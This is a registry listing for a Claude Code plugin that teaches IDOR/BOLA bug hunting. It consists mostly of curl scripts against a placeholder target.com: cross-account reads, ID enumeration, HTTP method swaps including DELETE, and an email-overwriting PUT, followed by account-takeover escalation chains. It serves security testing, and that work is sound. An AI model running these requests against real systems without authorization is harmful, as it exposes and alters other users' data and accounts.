hunt-idor · git:20260923.82a4143 · 2026-09-23 · sha256 61d7355a80a43460
hunt-idor git:20260923.82a4143A
Immutable. This exact content never changes and is served at /api/v1/blob/61d7355a80a43460.
No tool to install first
claude plugin marketplace add https://markdownregistry.com/mp/a/art_ryqvuihifzas4vds/61d7355a80a4346000c04d4f51b6d8dc60e15dae30027566a1eff834da61c266.json
Then /plugin install hunt-idor@markdownregistry-ryqvuihifzas4vds in Claude Code. It installs this exact version, the one graded A here, pinned to the commit it was graded at, and leaves it there.
---
name: hunt-idor
description: IDOR/BOLA — differential testing, two-session comparison, privilege escalation. Every candidate must pass 7 gates.
---
# IDOR HUNTING — 3 BULLETS MAX
**Core:** User A accessing User B's resource = vulnerability.
## DIFFERENTIAL
```bash
TOKEN_A="attacker"; TOKEN_B="victim"; ID="victim-resource-id"
# Baseline: A reads own data
curl -s -H "Authorization: Bearer $TOKEN_A" "https://target.com/api/users/me"
# Test: A reads B's data → should FAIL
curl -s -H "Authorization: Bearer $TOKEN_A" "https://target.com/api/users/$ID"
```
## ENUMERATION
```bash
# Sequential
for id in $(seq 1 100); do
code=$(curl -s -o /dev/null -w "%{http_code}" -H "Authorization: Bearer $TOKEN_A" "https://target.com/api/users/$id")
[ "$code" == "200" ] && echo "[+] ID $id accessible"
done
# Method swap
for m in GET PUT PATCH DELETE; do
curl -s -o /dev/null -w "$m: %{http_code}\n" -X $m -H "Authorization: Bearer $TOKEN_A" "https://target.com/api/users/$ID"
done
# Old version
curl -s -H "Authorization: Bearer $TOKEN_A" "https://target.com/api/v1/users/$ID"
```
## STATE CHANGE
```bash
# Before → Attack → After
BEFORE=$(curl -s -H "Authorization: Bearer $TOKEN_A" "https://target.com/api/users/$ID")
curl -s -X PUT -H "Authorization: Bearer $TOKEN_A" -d '{"email":"evil@test.com"}' "https://target.com/api/users/$ID"
AFTER=$(curl -s -H "Authorization: Bearer $TOKEN_B" "https://target.com/api/users/$ID")
# If email changed → WRITE IDOR
```
## ESCALATION
```
IDOR read → enumerate all users → mass PII → Critical
IDOR write → change email → password reset → ATO → Critical
IDOR read → find admin → admin endpoint → Critical
```
## FALSE POSITIVES
- Same data for all IDs → not IDOR
- `/me` returns data → session reference, not resource ID
- 200 but empty/null → not sensitive data